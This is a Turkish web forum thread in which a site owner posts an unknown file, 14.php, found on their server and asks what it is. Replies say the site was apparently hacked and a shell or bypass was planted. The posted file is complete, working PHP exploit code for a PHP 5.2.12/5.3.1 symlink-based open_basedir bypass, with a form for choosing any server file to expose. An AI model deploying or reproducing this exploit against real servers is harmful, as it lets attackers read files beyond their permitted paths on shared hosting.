• 08-05-2010, 16:13:32
    #1
    ben koymadığıma eminim çünkü sadece tasarım aşamasında yazısı var

    Bu ne dosyasıdır ne işe yarar.14.php yazıyor




    kodlar bunlar


    <?php
    /*
    PHP 5.2.12/5.3.1 symlink() open_basedir bypass 
    by Maksymilian Arciemowicz http://securityreason.com/
    cxib [ a.T] securityreason [ d0t] com
    
    CHUJWAMWMUZG
    */
    
    $fakedir="cx";
    $fakedep=16;
    
    $num=0; // offset of symlink.$num
    
    if(!empty($_GET['file'])) $file=$_GET['file'];
    else if(!empty($_POST['file'])) $file=$_POST['file'];
    else $file="";
    
    echo '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a
    href="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs.
    Author : Maksymilian Arciemowicz
    <p>Script for legal use only.
    <p>PHP 5.2.12 5.3.1 symlink open_basedir bypass
    <p>More: <a href="http://securityreason.com/">SecurityReason</a>
    <p><form name="form"
     action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';
    
    if(empty($file))
    	exit;
    
    if(!is_writable("."))
    	die("not writable directory");
    
    $level=0;
    
    for($as=0;$as<$fakedep;$as++){
    	if(!file_exists($fakedir))
    		mkdir($fakedir);
    	chdir($fakedir);
    }
    
    while(1<$as--) chdir("..");
    
    $hardstyle = explode("/", $file);
    
    for($a=0;$a<count($hardstyle);$a++){
    	if(!empty($hardstyle[$a])){
    		if(!file_exists($hardstyle[$a])) 
    			mkdir($hardstyle[$a]);
    		chdir($hardstyle[$a]);
    		$as++;
    	}
    }
    $as++;
    while($as--)
    	chdir("..");
    
    @rmdir("fakesymlink");
    @unlink("fakesymlink");
    
    @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
    
    // this loop will skip allready created symlinks.
    while(1)
    	if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
    	else $num++;
    
    @unlink("fakesymlink");
    mkdir("fakesymlink");
    
    die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');
    
    ?>
  • 08-05-2010, 16:18:50
    #2
    Url uzantısını gorebilseydik silmişsiniz sanırım.
  • 08-05-2010, 16:21:05
    #3
    Sandığım şeyse dikkat et derim. ( Msnden sölediğim )
  • 08-05-2010, 16:23:53
    #4
    Afiyet olsun, yemişsin bypassı
  • 08-05-2010, 17:59:45
    #5
    Evet Shell Yemis Arkadasimiz Dikkatli ol Server acigidir veya baska sitelerde
    acigi olan Servere girip sitelere Shell atmis bypass Hack Yeme ihtimalin var.
  • 08-05-2010, 18:03:22
    #6
    Dostum o belirli bir dizini bypasslar eğer adam onu atabildi ise ya host'ta listpath(shell diye bilinir) yada FTP şifreni biliyor.
  • 08-05-2010, 18:04:10
    #7
    bypass koymuslar hacklenmeye karşı tedbirli ol